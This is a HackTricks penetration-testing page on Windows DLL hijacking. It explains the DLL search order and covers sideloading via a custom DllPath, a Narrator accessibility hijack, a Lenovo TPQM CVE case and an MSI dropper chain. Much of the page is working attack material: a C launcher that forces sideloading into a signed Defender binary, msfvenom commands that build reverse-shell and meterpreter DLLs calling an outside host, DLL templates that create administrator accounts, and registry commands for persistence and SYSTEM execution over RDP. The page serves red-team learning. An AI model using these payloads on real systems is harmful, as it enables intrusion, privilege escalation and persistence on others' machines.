Dll Hijacking
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŚ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
DLL Hijacking involves manipulating a trusted application into loading a malicious DLL. This term encompasses several tactics like DLL Spoofing, Injection, and Side-Loading. Itâs mainly utilized for code execution, achieving persistence, and, less commonly, privilege escalation. Despite the focus on escalation here, the method of hijacking remains consistent across objectives.
Common Techniques
Several methods are employed for DLL hijacking, each with its effectiveness depending on the applicationâs DLL loading strategy:
- DLL Replacement: Swapping a genuine DLL with a malicious one, optionally using DLL Proxying to preserve the original DLLâs functionality.
- DLL Search Order Hijacking: Placing the malicious DLL in a search path ahead of the legitimate one, exploiting the applicationâs search pattern.
- Phantom DLL Hijacking: Creating a malicious DLL for an application to load, thinking itâs a non-existent required DLL.
- DLL Redirection: Modifying search parameters like
%PATH%or.exe.manifest/.exe.localfiles to direct the application to the malicious DLL. - WinSxS DLL Replacement: Substituting the legitimate DLL with a malicious counterpart in the WinSxS directory, a method often associated with DLL side-loading.
- Relative Path DLL Hijacking: Placing the malicious DLL in a user-controlled directory with the copied application, resembling Binary Proxy Execution techniques.
Finding missing Dlls
The most common way to find missing Dlls inside a system is running procmon from sysinternals, setting the following 2 filters:
.png)
.png)
and just show the File System Activity:
.png)
If you are looking for missing dlls in general you leave this running for some seconds.
If you are looking for a missing dll inside an specific executable you should set another filter like âProcess Nameâ âcontainsâ <exec name>, execute it, and stop capturing events.
Exploiting Missing Dlls
In order to escalate privileges, the best chance we have is to be able to write a dll that a privilege process will try to load in some of place where it is going to be searched. Therefore, we will be able to write a dll in a folder where the dll is searched before the folder where the original dll is (weird case), or we will be able to write on some folder where the dll is going to be searched and the original dll doesnât exist on any folder.
Dll Search Order
Inside the Microsoft documentation you can find how the Dlls are loaded specifically.
Windows applications look for DLLs by following a set of pre-defined search paths, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires.
You can see the DLL search order on 32-bit systems below:
- The directory from which the application loaded.
- The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
- The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- (C:\Windows)
- The current directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
That is the default search order with SafeDllSearchMode enabled. When itâs disabled the current directory escalates to second place. To disable this feature, create the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registry value and set it to 0 (default is enabled).
If LoadLibraryEx function is called with LOAD_WITH_ALTERED_SEARCH_PATH the search begins in the directory of the executable module that LoadLibraryEx is loading.
Finally, note that a dll could be loaded indicating the absolute path instead just the name. In that case that dll is only going to be searched in that path (if the dll has any dependencies, they are going to be searched as just loaded by name).
There are other ways to alter the ways to alter the search order but Iâm not going to explain them here.
Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdllâs native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.
Key idea
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
Notes/limitations
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
Minimal C example (ntdll, wide strings, simplified error handling):
Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
Operational usage example
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attackerâs DLL from a staging directory.
Exceptions on dll search order from Windows docs
Certain exceptions to the standard DLL search order are noted in Windows documentation:
- When a DLL that shares its name with one already loaded in memory is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. In this scenario, the system does not conduct a search for the DLL.
- In cases where the DLL is recognized as a known DLL for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, forgoing the search process. The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs holds a list of these known DLLs.
- Should a DLL have dependencies, the search for these dependent DLLs is conducted as though they were indicated only by their module names, regardless of whether the initial DLL was identified through a full path.
Escalating Privileges
Requirements:
- Identify a process that operates or will operate under different privileges (horizontal or lateral movement), which is lacking a DLL.
- Ensure write access is available for any directory in which the DLL will be searched for. This location might be the directory of the executable or a directory within the system path.
Yeah, the requisites are complicated to find as by default itâs kind of weird to find a privileged executable missing a dll and itâs even more weird to have write permissions on a system path folder (you canât by default). But, in misconfigured environments this is possible.
In the case you are lucky and you find yourself meeting the requirements, you could check the UACME project. Even if the main goal of the project is bypass UAC, you may find there a PoC of a Dll hijaking for the Windows version that you can use (probably just changing the path of the folder where you have write permissions).
Note that you can check your permissions in a folder doing:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
And check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
You can also check the imports of an executable and the exports of a dll with:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
For a full guide on how to abuse Dll Hijacking to escalate privileges with permissions to write in a System Path folder check:
Writable Sys Path +Dll Hijacking Privesc
Automated tools
Winpeas will check if you have write permissions on any folder inside system PATH.
Other interesting automated tools to discover this vulnerability are PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack and Write-HijackDll.
Example
In case you find an exploitable scenario one of the most important things to successfully exploit it would be to create a dll that exports at least all the functions the executable will import from it. Anyway, note that Dll Hijacking comes handy in order to escalate from Medium Integrity level to High (bypassing UAC) or from High Integrity to SYSTEM. You can find an example of how to create a valid dll inside this dll hijacking study focused on dll hijacking for execution: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Moreover, in the next section you can find some basic dll codes that might be useful as templates or to create a dll with non required functions exported.
Creating and compiling Dlls
Dll Proxifying
Basically a Dll proxy is a Dll capable of execute your malicious code when loaded but also to expose and work as exected by relaying all the calls to the real library.
With the tool DLLirant or Spartacus you can actually indicate an executable and select the library you want to proxify and generate a proxified dll or indicate the Dll and generate a proxified dll.
Meterpreter
Get rev shell (x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Get a meterpreter (x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Create a user (x86 I didnât see a x64 version):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
Your own
Note that in several cases the Dll that you compile must export several functions that are going to be loaded by the victim process, if these functions doesnât exist the binary wonât be able to load them and the exploit will fail.
C DLL template (Win10)
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
C++ DLL example with user creation
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
Alternate C DLL with thread entry
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
Case Study: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)
Windows Narrator.exe still probes a predictable, language-specific localization DLL on start that can be hijacked for arbitrary code execution and persistence.
Key facts
- Probe path (current builds):
%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll(EN-US). - Legacy path (older builds):
%windir%\System32\speech\engine\tts\msttslocenus.dll. - If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and
DllMain(DLL_PROCESS_ATTACH)executes. No exports are required.
Discovery with Procmon
- Filter:
Process Name is Narrator.exeandOperation is Load ImageorCreateFile. - Start Narrator and observe the attempted load of the above path.
Minimal DLL
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}
OPSEC silence
- A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (
OpenThread(THREAD_SUSPEND_RESUME)) andSuspendThreadit; continue in your own thread. See PoC for full code.
Trigger and persistence via Accessibility configuration
- User context (HKCU):
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - Winlogon/SYSTEM (HKLM):
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - With the above, starting Narrator loads the planted DLL. On the secure desktop (logon screen), press CTRL+WIN+ENTER to start Narrator.
RDP-triggered SYSTEM execution (lateral movement)
- Allow classic RDP security layer:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f - RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop.
- Execution stops when the RDP session closesâinject/migrate promptly.
Bring Your Own Accessibility (BYOA)
- You can clone a built-in Accessibility Tool (AT) registry entry (e.g., CursorIndicator), edit it to point to an arbitrary binary/DLL, import it, then set
configurationto that AT name. This proxies arbitrary execution under the Accessibility framework.
Notes
- Writing under
%windir%\System32and changing HKLM values requires admin rights. - All payload logic can live in
DLL_PROCESS_ATTACH; no exports are needed.
Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
This case demonstrates Phantom DLL Hijacking in Lenovoâs TrackPoint Quick Menu (TPQMAssistant.exe), tracked as CVE-2025-1729.
Vulnerability Details
- Component:
TPQMAssistant.exelocated atC:\ProgramData\Lenovo\TPQM\Assistant\. - Scheduled Task:
Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTaskruns daily at 9:30 AM under the context of the logged-on user. - Directory Permissions: Writable by
CREATOR OWNER, allowing local users to drop arbitrary files. - DLL Search Behavior: Attempts to load
hostfxr.dllfrom its working directory first and logs âNAME NOT FOUNDâ if missing, indicating local directory search precedence.
Exploit Implementation
An attacker can place a malicious hostfxr.dll stub in the same directory, exploiting the missing DLL to achieve code execution under the userâs context:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
Attack Flow
- As a standard user, drop
hostfxr.dllintoC:\ProgramData\Lenovo\TPQM\Assistant\. - Wait for the scheduled task to run at 9:30 AM under the current userâs context.
- If an administrator is logged in when the task executes, the malicious DLL runs in the administratorâs session at medium integrity.
- Chain standard UAC bypass techniques to elevate from medium integrity to SYSTEM privileges.
Case Study: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)
Threat actors frequently pair MSI-based droppers with DLL side-loading to execute payloads under a trusted, signed process.
Chain overview
- User downloads MSI. A CustomAction runs silently during the GUI install (e.g., LaunchApplication or a VBScript action), reconstructing the next stage from embedded resources.
- The dropper writes a legitimate, signed EXE and a malicious DLL to the same directory (example pair: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
- When the signed EXE is started, Windows DLL search order loads wsc.dll from the working directory first, executing attacker code under a signed parent (ATT&CK T1574.001).
MSI analysis (what to look for)
- CustomAction table:
- Look for entries that run executables or VBScript. Example suspicious pattern: LaunchApplication executing an embedded file in background.
- In Orca (Microsoft Orca.exe), inspect CustomAction, InstallExecuteSequence and Binary tables.
- Embedded/split payloads in the MSI CAB:
- Administrative extract: msiexec /a package.msi /qb TARGETDIR=C:\out
- Or use lessmsi: lessmsi x package.msi C:\out
- Look for multiple small fragments that are concatenated and decrypted by a VBScript CustomAction. Common flow:
' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)
Practical sideloading with wsc_proxy.exe
- Drop these two files in the same folder:
- wsc_proxy.exe: legitimate signed host (Avast). The process attempts to load wsc.dll by name from its directory.
- wsc.dll: attacker DLL. If no specific exports are required, DllMain can suffice; otherwise, build a proxy DLL and forward required exports to the genuine library while running payload in DllMain.
- Build a minimal DLL payload:
// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}
-
For export requirements, use a proxying framework (e.g., DLLirant/Spartacus) to generate a forwarding DLL that also executes your payload.
-
This technique relies on DLL name resolution by the host binary. If the host uses absolute paths or safe loading flags (e.g., LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories), hijack may fail.
-
KnownDLLs, SxS, and forwarded exports can influence precedence and must be considered during selection of the host binary and export set.
References
- CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
- Microsoft Store - TPQM Assistant UWP
- https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
- https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
- Check Point Research â Nimbus Manticore Deploys New Malware Targeting Europe
- TrustedSec â Hack-cessibility: When DLL Hijacks Meet Windows Helpers
- PoC â api0cradle/Narrator-dll
- Sysinternals Process Monitor
- Unit 42 â Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŚ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

